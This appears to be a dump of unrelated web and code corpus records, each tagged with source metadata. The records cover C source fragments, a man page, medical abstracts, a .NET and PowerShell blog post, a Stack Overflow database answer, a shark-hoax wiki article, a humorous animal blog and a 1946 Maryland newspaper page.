}
lib_free(cmdline_devices);
cmdline_devices = temp;
}
}
temp = util_concat(cmdline_devices, ")", NULL);
lib_free(cmdline_devices);
cmdline_devices = temp;
cmdline_options[0].description = cmdline_devices;
for (i = 0; i < SAMPLER_MAX_DEVICES; ++i) {
if (devices[i].cmdline_options_init) {
if (devices[i].cmdline_options_init() < 0) {
return -1;
}
}
}
return cmdline_register_options(cmdline_options);
}
| mini_pile | {'original_id': '57716497e5c8220e709981d63b1d49589555a0f69970e649642588283a1a93a9'} |
SH-NOHEAD(1) General Commands Manual SH-NOHEAD(1)
NNAAMMEE
SShh--nnoohheeaadd - sections without header lines
DDEESSCCRRIIPPTTIIOONN
empty section header: empty subsection header: text
OpenBSD July 4, 2017 OpenBSD
| mini_pile | {'original_id': '88d14e0be8d00df80e59a7d741ddc436c16874ff3cc2dea7667177319f309d7e'} |
Biomarkers in cardiovascular medicine: towards precision medicine.
Biomarkers are noninvasive, inexpensive, highly reproducible tools that allow clinicians to quantify pathophysiological processes relevant to a specific disease. Although the concept of biomarker-guided precision medicine is still in its infancy once a specific cardiovascular diagnosis is established, biomarker guidance has become the standard of care in the early diagnosis of acute cardiovascular disease in patients presenting to the emergency department with common symptoms such as acute chest pain or acute dyspnoea. This review highlights recent advances and remaining uncertainties regarding the use of the most relevant cardiovascular biomarkers, namely high-sensitivity cardiac troponin and natriuretic peptides in established indications such as the early diagnosis of acute myocardial infarction and heart failure. In addition, we address emerging indications such as the screening for perioperative myocardial infarction. | mini_pile | {'original_id': '7f367b4974aada6b9ff795be9b44de15015e93ad55804a03ea4dfdd57a961a2d'} |
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<!-- IE10 and IE11 on Windows Phone have a small tap highlight when you tap an element. Adding this meta tag removes this. -->
<meta name="msapplication-tap-highlight" content="no" />
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=0">
<meta name="format-detection" content="telephone=no">
<link rel="stylesheet" type="text/css" href="css/page/touch.css" />
<script src="/socket.io/socket.io.js"></script>
<title>触控板</title>
</head>
<body>
<div class="touch-pad" id="touch-pad">
</div>
<script src="js/lithe.js" data-config="/config.js"></script>
<script src="js/dist/conf/page/touch.js"></script>
<script>
lithe.use('conf/page/touch');
</script>
</body>
</html>
| the_stack | {'hexsha': '24915bf1b72dc1f19a025bb7b8b246802ea2cb35', 'size': '911', 'ext': 'html', 'lang': 'HTML', 'max_stars_repo_path': 'server/views/touch.html', 'max_stars_repo_name': 'test0103/vrhd', 'max_stars_repo_head_hexsha': 'd37c021b9c0e0f8ca7e032058e281ba2c47b7286', 'max_stars_repo_licenses': "['MIT']", 'max_stars_count': '6', 'max_stars_repo_stars_event_min_datetime': '2017-02-17T10:27:51.000Z', 'max_stars_repo_stars_event_max_datetime': '2022-01-09T01:35:45.000Z', 'max_issues_repo_path': 'server/views/touch.html', 'max_issues_repo_name': 'test0103/vrhd', 'max_issues_repo_head_hexsha': 'd37c021b9c0e0f8ca7e032058e281ba2c47b7286', 'max_issues_repo_licenses': "['MIT']", 'max_issues_count': '', 'max_issues_repo_issues_event_min_datetime': '', 'max_issues_repo_issues_event_max_datetime': '', 'max_forks_repo_path': 'server/views/touch.html', 'max_forks_repo_name': 'test0103/vrhd', 'max_forks_repo_head_hexsha': 'd37c021b9c0e0f8ca7e032058e281ba2c47b7286', 'max_forks_repo_licenses': "['MIT']", 'max_forks_count': '3', 'max_forks_repo_forks_event_min_datetime': '2019-07-10T03:27:22.000Z', 'max_forks_repo_forks_event_max_datetime': '2020-07-19T03:11:52.000Z', 'avg_line_length': '35.0384615385', 'max_line_length': '126', 'alphanum_fraction': '0.7069154775', 'original_id': '10663c59e63b1a48ddce98c3008e185a55916f48ea669891bd44514fc543b7c0'} |
Saturday, June 9, 2012
Using PowerShell in a .NET installer for a SharePoint App
powershell_2This is not a post about how to invoke PowerShell from within .NET or why you should do it. It is a post about second guessing why you write code the way you do.
At Puzzlepart we have created a time tracking application and we have an .exe installer to provision a site, and create all lists and content types needed. Some weeks ago we decided to have the installer deploy the WSP as well, and not only to post-deploy work.
I already had a PowerShell script at hand which deployed the WSP with some extra functionality like uninstalling a previous version and waiting to make sure the deploy timer job finished and that the WSP was properly deployed and installed before ending. Just the nifty script I needed for the job.
I fired up Visual Studio and in no time I had embedded the .ps1 script as a resource and was invoking it runtime from .NET.
var asm = Assembly.GetExecutingAssembly();
Stream stream = asm.GetManifestResourceStream("Pzl.Did.Installer.wspdeploy.ps1");
string script;
using (StreamReader reader = new StreamReader(stream))
script = reader.ReadToEnd();
script = script.Replace("$webAppUrl", webAppUrl);
RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create();
Runspace runspace = RunspaceFactory.CreateRunspace(runspaceConfiguration);
RunspaceInvoke rsi = new RunspaceInvoke();
ScriptBlock scriptblock = rsi.Invoke("{" + script + "}")[0].BaseObject as ScriptBlock;
var objects = scriptblock.Invoke();
foreach (PSObject psObject in objects)
var solution = psObject.BaseObject as SPSolution;
if (solution != null && solution.Deployed)
Console.WriteLine("WSP Deployed");
Now, let’s step back for a second. Being a Reflector addict I’m actually very aware that SharePoint PowerShell cmdlet’s are using the regular SharePoint API’s internally. In this case for example the SPSolution class. So why on earth did I hack in invoking a PowerShell script instead of using the native SharePoint API directly?
I had made the existing code more complex by:
• Embedded a resource
• Added a new DSL
• Added code not easily read
The answer is of course that I had the script and figured I’d just throw it in there as a quickie with no thought about maintainability and readability.
Lucky for me my colleague Mads (@madsnissen) do code review and sent me an e-mail with the quote:
What is it that your PowerShell script does which the native API can’t provide?
As I know Mads pretty well the understatement hit me right in the gut, and of course I didn’t have a good answer, as there is none. I had as a coder made a stupid mistake (or “bæsjet på leggen” as we say in Norwegian).
Using .NET to create new cmdlet’s is good idea, invoking PowerShell from .NET is usually not. Take the code from the cmdlet and invoke it native instead.
Lesson learned
I will be more conscious about the code I write, and why I write it. And I will at all costs try to avoid the ridicule I’ve gotten the past week for my PowerShell skills Winking smile | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.8795679807662964}", 'metadata': "{'Content-Length': '79076', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:3SSZB44HEJDZDSAYT6UUTNN3T75WDFVU', 'WARC-Concurrent-To': '<urn:uuid:c1a1ca34-989c-4f7e-913b-5d2891633df1>', 'WARC-Date': datetime.datetime(2020, 11, 30, 4, 5, 38), 'WARC-IP-Address': '172.217.12.243', 'WARC-Identified-Payload-Type': 'application/xhtml+xml', 'WARC-Payload-Digest': 'sha1:DYBQF6LW6OESY4HAGREHDPTJQQSORKP7', 'WARC-Record-ID': '<urn:uuid:32f28d32-0b57-4ecc-8f12-df57ec0dc457>', 'WARC-Target-URI': 'https://www.techmikael.com/2012/06/using-powershell-in-net-installer-for.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:c43e1633-9b45-42c4-a060-ff7d49ba213c>', 'WARC-Truncated': None}", 'previous_word_count': '459', 'url': 'https://www.techmikael.com/2012/06/using-powershell-in-net-installer-for.html', 'warcinfo': 'isPartOf: CC-MAIN-2020-50\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2020\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-27.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.043084144592285156', 'original_id': 'e11096b38a2d534ba36b54dc6663a1627b395329d920444c99b683623cdd8ccc'} |
Q:
c#.net Error: There is already an open DataReader associated with this Command which must be closed first
Help, I am new to asp.net c#. I tried the codes once before but it didn't seems to have this error. So I can't seems to figure where do I make changes to.
Sever error :
There is already an open DataReader associated with this Command which must be closed first.
Codes:
string strConnectionString = ConfigurationManager.ConnectionStrings["FYPDB"].ConnectionString;
SqlConnection myConnect = new SqlConnection(strConnectionString);
string strCommandText = "select promoId FROM FYPDB.dbo.Promotions where membershipType LIKE '%' + @membership + '%' AND defaults LIKE '%' + @defaults + '%'";
try
{
string ddlmembership = ((DropDownList)dvInsertPromotion.FindControl("ddlAddMembershiplist")).SelectedItem.ToString();
string ddlDefault = ((RadioButtonList)dvInsertPromotion.FindControl("RadioButtonList2")).Text.ToString();
DataSet da = dal.retrieveMembership(ddlmembership, ddlDefault);
SiteGridView.DataSource = da;
SiteGridView.DataBind();
SqlCommand cmd = new SqlCommand(strCommandText, myConnect);
cmd.Parameters.Add("@membership", SqlDbType.NVarChar);
cmd.Parameters.Add("@defaults", SqlDbType.NVarChar);
cmd.Parameters["@membership"].Value = ddlmembership;
cmd.Parameters["@defaults"].Value = ddlDefault;
myConnect.Open();
SqlDataReader reader = cmd.ExecuteReader();
if (reader.Read())
{
//get number of count
//int count = da.Tables[0].Rows.Count;
int count = (int)cmd.ExecuteScalar();
if (count == 1)
{
defaultComfirm.Show();
promotion = false;
}
}
else
{
Label6.Text = "error didnt go through";
Label6.ForeColor = System.Drawing.Color.Gray;
Label6.Visible = true;
}
reader.Close();
}
finally
{
myConnect.Close();
}
A:
you are using the same command object two times:
SqlDataReader reader = cmd.ExecuteReader();
int count = (int)cmd.ExecuteScalar();
This is not possible.
It is not necessary to use a reader if you just want to have the count of rows. In this case you can use the ExecuteScalar.
Like this:
string strCommandText = "select COUNT(promoId) FROM FYPDB.dbo.Promotions where membershipType LIKE '%' + @membership + '%' AND defaults LIKE '%' + @defaults + '%'";
try
{
...
int count = (int)cmd.ExecuteScalar();
...
Regards
Oliver
| mini_pile | {'original_id': '2323b04d36b2d763093619b6f166ee95e133c7673d5e2ca7fd4995b30d97bb6d'} |
Email this article to a friend
Lotto couple who won £1million want compensation from Queen's bank after 'wrong advice' left them with just £10k-a-year to live on
* indicates fields that are mandatory.
Security code | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '39', 'language_id_whole_page_fasttext': "{'en': 0.9559528827667236}", 'metadata': "{'Content-Length': '215116', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:YMBWKSFGVQ62MZ77VLRH67NO2YG2ICFZ', 'WARC-Concurrent-To': '<urn:uuid:ff6c6421-bc8e-40cc-b2d2-20b289e5f3ee>', 'WARC-Date': datetime.datetime(2013, 12, 20, 15, 38, 55), 'WARC-IP-Address': '184.51.126.41', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:JWS5W7LCN7MNABZFNSNUXQCQK6BNJ2OG', 'WARC-Record-ID': '<urn:uuid:a32a2031-8742-42d7-b612-ab15745dc966>', 'WARC-Target-URI': 'http://www.dailymail.co.uk/news/article-2252050/emailArticle.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:bac28a95-a3f8-419a-9f66-2d46f0f7af65>', 'WARC-Truncated': 'length'}", 'previous_word_count': '77', 'url': 'http://www.dailymail.co.uk/news/article-2252050/emailArticle.html', 'warcinfo': 'robots: classic\r\nhostname: ip-10-33-133-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Winter 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.07503056526184082', 'original_id': '719dd9e5eb472a98b44914503388acb078f2e120fec722c968aea424147b50cb'} |
The Full Wiki
Submarine (shark): Wikis
From Wikipedia, the free encyclopedia
The Submarine is the name given to a particularly large and aggressive great white shark that may (or may not) have dwelled in False Bay[citation needed], near Cape Town, South Africa, during the 1970s and the 1980s.
Many people have reported encounters with the shark over the past thirty years or so but the story began as a hoax by journalists and then quite unexpectedly grew to have a life of its own and became an urban legend.[citation needed] The tales told about the animal provide an example of an urban legend that can be traced to its origins. The affair is very similar to the Great Wall of China hoax.
Alleged Sightings
In the early seventies the newspapers in Cape Town were full of reports about "the Submarine". It was easy to recognize, it was huge and it commonly did interesting things[1] such as biting outboard motors off the sterns of small boats. Everyone who saw the shark considered himself or herself lucky to have escaped alive.
The shark has been reported from many parts of False Bay but is said to spend most of its time around Seal Island. (This is not an unreasonable thing for an obligate marine carnivore to do, as the island teems with Cape fur seals).
The fish is said to be so large it shows up on sonar[2]. Reports of its length vary but figures of six to eight metres are quoted. [3]
They are sometimes mistaken for Turtles.
What really happened
In the early seventies a group of journalists from the Cape Times and the Argus gathered for a few ales at the Tavern of the Seas.[citation needed] A dispute arose as to how gullible the average reader really was. A bet was made to the following effect: the journalists would create an entirely fictitious tale about a huge shark in False Bay. It would have certain distinguishing markings and a certain huge length. The tale would be published, in one of the newspapers, with a fake "eye-witness account". The journalists would then sit back and wait until somebody phoned to claim that they had "seen" the fish.
The results stunned everyone involved. The switchboards were immediately jammed with reports of sightings of the shark, or of the exact details of its markings and habits, or of its exact length.
Shark and helicopter hoax
This old story may have also provided the idea[citation needed] for the hoax "Helicopter Shark" image, a composition of two photographs that appeared to show a huge great white attacking a person on a ladder hanging from a helicopter.[4] The writeup typically said it was from "near South Africa", although the helicopter shot was clearly taken from San Francisco Bay in California. The helicopter in the picture is a HH-60 Pave Hawk, a model that is flown by the California Air National Guard. Closer inspection also reveals two swimmers in the water under the helicopter.
In some variants it was also alleged to be a National Geographic Society photo of the year, so the Society went to some lengths to uncover the source photos, and wrote about the hoax in a 2005 issue of the National Geographic Magazine.
1. ^
2. ^
Got something to say? Make a comment.
Your name
Your email address | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '29', 'language_id_whole_page_fasttext': "{'en': 0.971385657787323}", 'metadata': "{'Content-Length': '32968', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:XLRVQ54UDI33AXP2PZZLUIHKVPHXRY6O', 'WARC-Concurrent-To': '<urn:uuid:99f200bb-f1bc-4b01-b5f4-a65b12fd2cac>', 'WARC-Date': datetime.datetime(2019, 3, 22, 4, 7, 41), 'WARC-IP-Address': '176.9.138.23', 'WARC-Identified-Payload-Type': 'application/xhtml+xml', 'WARC-Payload-Digest': 'sha1:OTJ7DGC6HQ6L5537LFCQQRJMNF7XGJIO', 'WARC-Record-ID': '<urn:uuid:7da1fabe-b626-4700-913e-d93ad0df2220>', 'WARC-Target-URI': 'http://www.thefullwiki.org/Submarine_(shark)', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:2c30cecb-7222-4523-9922-10099e988069>', 'WARC-Truncated': None}", 'previous_word_count': '589', 'url': 'http://www.thefullwiki.org/Submarine_(shark)', 'warcinfo': 'isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-93-171-178.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.05019301176071167', 'original_id': 'c0f9298c39325cd25fd3eed8cdc084af04ea48067bde76661b3985373dadfb72'} |
6 Animals That Will Drive You Barking Mad
Written by Jason Scott. Posted in Daily Daft
#1 Chihuahuas.
I am the most annoying dog in the universe
I am the most annoying dog in the universe
Yes, its a dog, but just barely.
Why Do Chihuahuas Bark?
The Scientific answer is still unknown, but its probably because Chihuahuas feel a need to live up to the expectation of being the most annoying dogs in the universe.
Will a Chihuahua Drive Me Mad?
Possibly. A Chihuahua’s favorite game is to bark at you incessantly while slowly moving closer to you. If you move forward toward them, even just to say “nice doggy” and pat them on the head, they will scatter away so they can bark at you from a safer distance. Although this can make them useful as burglar alarms, it can also lead you to insanity if you have to confront a Chihuahua on any type of regular basis.
In fact if you take a poll, its our bet that 1 out of 10 animal “lovers” has had impure fantasies about kicking a chihuahua through a football field goal and yelling “Three points”
#2. Sealions
sealion bark
Both dogs and sea lions bark, but according to our most recent tests, only sealions can survive when held under water for extended periods.
Why Do Sealions Bark?
Unlike a Seal (which doesn’t bark) Sea lions bark as way of communicating. Male sealions have a more directional bark and are more likely to be barking “at” you, or other male sealions. This is a way of proving their dominance. Some scientists have suggested that sub dominant male sealions bark more than the dominant ones, possibly because they have something to prove, or maybe due to getting less mating time, scientists are still unsure.
Unlike testosterone drunken males, female sealions usually use their barking as a means of calling in their pups in for dinner, or just to make sure their pups haven’t been eaten by a polar bear. Each pup and female both have a unique sound to identify each other. This allows the female the ability to distinguish her pup’s voice among hundreds of other barking sealions. Scientists feel this shows that a sealions bark may be just as unique as a human’s voice.
Will Sealions make me Nuts?
Unique or not, being surrounded by a few hundred barking Sealions is enough to drive anyone completely mad.
#3 Quolls
What the $%^# is a Quoll you ask? Its a “meat eating marsupial” that is a relative to the Tasmanian devil and native to Austrailia and Papua New Guinea.
Why does a Quoll Bark?
Usually because they are pissed off or alarmed. Dawkins and Krebs (science dudes) suggested that vocalizations that arise from changes in breathing are indicative of strong emotions. Yes, animals have emotions too.
Although some people feel they can keep a Quoll as a pet without going insane, we feel that the only people who would have one of these crazy bastards in their house must be insane already.
Why do you say that? Is the Quoll Dangerous?
It Ain’t nicknamed tiger cat for nothing. Oh yeah and it eats the hallucinogenic Cane toad, so there’s a chance it will be completely out of its mind if you ever come across one. We’ve seen enough Bugs bunny episodes to know that any friend of the Tazmanian Devil, is not something we want in our homes.
#4 The Barking Gecko (Ptenopus Garrulus)
Why Does a Barking Gecko Bark?
Generally for mating and communication. Many geckos vocalize singularly but the barking geckos of the Kalahari bark in choruses. Of course sometimes they bark as a way to get laid and other times they are pissed off mad and may be in a death match with another male.
Will it drive me insane?
It might. The barking Gecko holds claim to being “the noisiest gecko of all,” however some pet owners have found their barking to be quite relaxing.
#5 The Barking Tree Frog
Why does the Tree Frog Bark?
Because it wants others to know its raining for some reason. Mostly however, it barks to get laid
Will it drive me nuts?
Remember when you were a kid and your younger sibling kept repeating everything you said? Maddening wasn’t it? Well, the female barking tree frog can accurately localize the bark of the male and accurately playback his own pickup lines.
Now that’s the type of conversation that could drive anyone crazy.
#6 The Barking Jackass (blue winged kookaburra)
The call of the Kookaburra or “Barking Jackass” has been described as Maniacal by those unfortunate enough to be afflicted with such a sound. The bark of the Kookaburra has been said to begin like “the appalling ravings of a Madman”…and end in a prolonged sardonic chuckle.
Why do they bark
Aboriginals will tell you anything from “They are laughing at bad parents, particularly the Cuckoo bird.” to “they are laughing at the misfortune of two drowned children.” Scientists feel they probably bark as a way of announcing their territorial claims.
Will they Drive me insane?
It is said that the incessant barking of this Jackass is enough to drive a lost explorer into madness. As well, there are other aboriginal legends that depict the bird killing women in the middle of the night. On top of that, they are the only bird that stays at home after they learn to fly, so they have the added value of them all barking in one big happy family.
And you thought it was just dogs that bark.
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"They will Rue the Day They Gave Me Free Reign Over this Blog" Ha Ha Ha Ha Ha! (insert evil into laughter)
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Copyright © 2009-2015 DaftGadgets.com. Your Trusted Online Source for Geek Toys and Gadgets, RC Hobby Parts and Vehicles, and Unusual Gift Ideas. All Rights Reserved. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '43', 'language_id_whole_page_fasttext': "{'en': 0.9543784260749816}", 'metadata': "{'Content-Length': '36294', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:3UVYZ7BEFRHEEYPK5NSZHVF6ECJIYKRK', 'WARC-Concurrent-To': '<urn:uuid:70455dbd-f64f-42b8-ab8f-a2adc01d6bb2>', 'WARC-Date': datetime.datetime(2019, 3, 23, 0, 37, 59), 'WARC-IP-Address': '98.137.244.36', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:664IESUK6YFHTRARZ3QSK52ZYQZEEE4U', 'WARC-Record-ID': '<urn:uuid:84a354c0-2236-40d7-afba-d0a6129dab4e>', 'WARC-Target-URI': 'http://site.daftgadgets.com/blog1/6-animals-that-will-drive-you-barking-mad/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:25f32587-8850-4239-8f7f-a0dc9417f2f3>', 'WARC-Truncated': None}", 'previous_word_count': '968', 'url': 'http://site.daftgadgets.com/blog1/6-animals-that-will-drive-you-barking-mad/', 'warcinfo': 'isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-171-229-147.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.49178338050842285', 'original_id': '8466894184455ef8366f4d2c1e461b063966a1591d4800645fe6c450e91880b5'} |
Given the myriad ecological challenges facing our world today, there are plenty of reasons to feel overwhelmed and powerless.
But there are also many people and organizations dedicated to leading community conversations about climate change and conservation through education and example.
The Detroit Zoo, which was named the “Greenest Zoo” in the United States by the Association of Zoos and Aquariums in 2015, has been committed to growing its sustainability initiatives for nearly two decades.
Ron Kagan is the CEO of the Detroit Zoological Society. He says that the Detroit Zoo offers visitors a range of environmentally-minded resources, including their “Shades of Green” guide, which lists some of the ways that people can reduce their daily ecological footprint.
The zoo also features plenty of water bottle refilling stations, a boardwalk made from recycled plastic, and an anerobic digestor that converts animal waste into methane that’s used to power its animal health complex.
Kagan says the zoo’s goal is to help its 1.4 million annual visitors understand why sustainability and conservation efforts are important. […] | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9645935297012328}", 'metadata': "{'Content-Length': '51761', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:ASN5FNUZOOHKMH6GW6EDATTGHKPFCS27', 'WARC-Concurrent-To': '<urn:uuid:14097324-f305-44e6-b2cd-b1960bdf160e>', 'WARC-Date': datetime.datetime(2019, 8, 25, 20, 7, 47), 'WARC-IP-Address': '104.27.174.252', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:KBAUUUW57NZTTTGBJLJOARCTKFHSWTII', 'WARC-Record-ID': '<urn:uuid:cbcfa64e-23a0-4a3b-9b8b-f9fba151e442>', 'WARC-Target-URI': 'http://occupyindependents.com/climate-change/detroit-zoo-wants-kids-to-be-active-part-of-the-climate-change-conversation/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:0a81daf1-6876-4163-97e4-fc4af318f96a>', 'WARC-Truncated': None}", 'previous_word_count': '171', 'url': 'http://occupyindependents.com/climate-change/detroit-zoo-wants-kids-to-be-active-part-of-the-climate-change-conversation/', 'warcinfo': 'isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-226.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.5457522869110107', 'original_id': '067daaf0c411eb6250b0330f4f4824cc82e9f425618752d04bee903834451d8c'} |
Metodološke osnove naučnog predvidjanja u istoriji (Methodological grounds for scientific predicting in history)
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In the opening lines of this article it is claimed that history is a discipline taking role as part of unique body of science. The concept of scientific rationality is presented as the criterion of demarcation between science and pseudoscience. From this statement as a starting point, it follows that the methodological grounds for scientific predictions are common for all scientific disciplines. Different aspects of scientific predicting are critically examined: thesis of symmetry, determinism and predictability, indeterminism and predictability, reflexivity of predictions, prediction of novelty and progress, predictions in relation to the time of their uttering, the prediction sketch, truthfulness and regularity in implying prediction, and predictability of human actions. In the concluding section, the author admits of the possibility of constructing the theory of history, opposed to eschatological philosophy of history, as a predictive theory with a scientific basis and a theory whose specifications limit its misuse in practice.
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How can I increase my downloads? | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '3', 'language_id_whole_page_fasttext': "{'en': 0.8916855454444885}", 'metadata': "{'Content-Length': '28591', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:53BC2CGNXQBQZCGAQHNJYV2B3I3L4KSI', 'WARC-Concurrent-To': '<urn:uuid:979ff3b2-3d8d-4988-855e-4afab67aa868>', 'WARC-Date': datetime.datetime(2022, 9, 30, 1, 13, 10), 'WARC-IP-Address': '172.67.185.151', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:SN7ZGBIKRRKN27R2PVMCZUI2B7R22U5H', 'WARC-Record-ID': '<urn:uuid:b9d28e3a-3dcf-42a3-8493-1527f8c5d7c6>', 'WARC-Target-URI': 'https://philarchive.org/rec/MARMON-2', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:9faa0aa7-386c-4379-b8ce-e69b6e5a56e9>', 'WARC-Truncated': None}", 'previous_word_count': '225', 'url': 'https://philarchive.org/rec/MARMON-2', 'warcinfo': 'isPartOf: CC-MAIN-2022-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2022\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-88\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.2059893012046814', 'original_id': 'f8e56f1537b16b04dde01b1c847e182203219d290ac357caad8d0c54492d8e26'} |
/*
errno_from_mac_error.hh
-----------------------
*/
#ifndef MACSYS_ERRNOFROMMACERROR_HH
#define MACSYS_ERRNOFROMMACERROR_HH
namespace mac {
namespace sys {
int errno_from_mac_error( long err );
}
}
#endif
| mini_pile | {'original_id': '86f4fa4c1780ab5b1a74e2915bb009ff8e80df963fee4276339f4f564f340997'} |
Prefrontal cortex fMRI signal changes are correlated with working memory load.
We investigated whether a nonspatial working memory (WM) task would activate dorsolateral prefrontal cortex (DLPFC) and whether activation would be correlated with WM load. Using functional magnetic resonance imaging we measured regional brain signal changes in 12 normal subjects performing a continuous performance, choice reaction time task that requires WM. A high WM load condition was compared with a non-WM choice reaction time control condition (WM effect) and a low WM load condition (load effect). Significant changes in signal intensity occurred in the DLPFC, frontal motor regions and the intraparietal sulcus (IPS) in both comparisons. These findings support the role of DLPFC and IPS in WM and suggest that signal changes in DLPFC correlate with WM load. | mini_pile | {'original_id': '990772757b55dec5b80881f3df8dfa9616e9a18e69e866ec8c689d7fe770c1b0'} |
NEWS WASHINGTON, D.C. Washington and Vicinity MONDAY, JULY 8, 1946. Fair Rent Group Says Advisers Lack Power Maryland Agency Urges Legislation As Only Control By the Associated Press BALTIMORE, July 8.—The advisory Fair Rent Committees which Gov. O’Connor has announced he will appoint throughout Maryland will prove ineffective because they have no enforcement authority, members of the 1941-42 Maryland Fair Rent Commission believe. The only way to control rents is through legislative action which would give enforcement power to rent control agency, they say. Meanwhile, Gov. O’Connor said he had been advised by Dr. Horace E. Flack, head of the Bureau of Legislative Reference, that rent controls cannot be enacted without an amendment to the State Constitution. The Governor has asked Attorney General William Curran for an opinion on the proposed legislation. E. D. Gaudreau, former chairman of the 10-member commission, said complaints from tenants were followed up by a request that the landlord appear at a hearing and explain his rent increase. “If the landlord refused to heed the ruling of the committee, there wasn't much we could do,” Mr. Gaudreau said. He added that some property owners could be “brought around” by threatening to turn them over to the Health Department, but “other than that, our hands were tied as far as having any enforcement powers.” Mrs. Harry E. Corner, another commission member, said one of The commission's most serious handicaps was that tenants were afraid to complain of rent increases because they might be forced to move by the landlord. 10 Civilian Teachers Named at Annapolis By the Associated Press ANNAPOLIS, July 8.—Vice Admiral W. Aubrey Fitch, superintendent of the Naval Academy, announced yesterday the appointment of 10 new civilian instructors in the academy’s English, history and government department. They are: Thomas P. Carpenter, who taught at San Jose (Calif.) College and Ohio State University. Dr. Paolo E. Coletta, Naval Reserve officer who taught at the University of Missouri and Stephens College. Dr. Robert W. Daly, Coast Guard Reserve officer who taught at the Coast Guard Academy and Loyola University. Edward J. Goodman, who taught at Notre Dame College (Staten Island) and Seton Hall College. Frederick G. Holohan, Naval Reserve officer who taught at Johns Hopkins and the University of Hawaii. Hope H. Lumpkin, who taught at the University of Wisconsin. John P. C. McCarthy, Naval Reserve officer who taught at Center College and at Robert College. Istanbul, Turkey. Robert L. Mason, Naval Reserve officer, who taught at Peabody College and at Robert 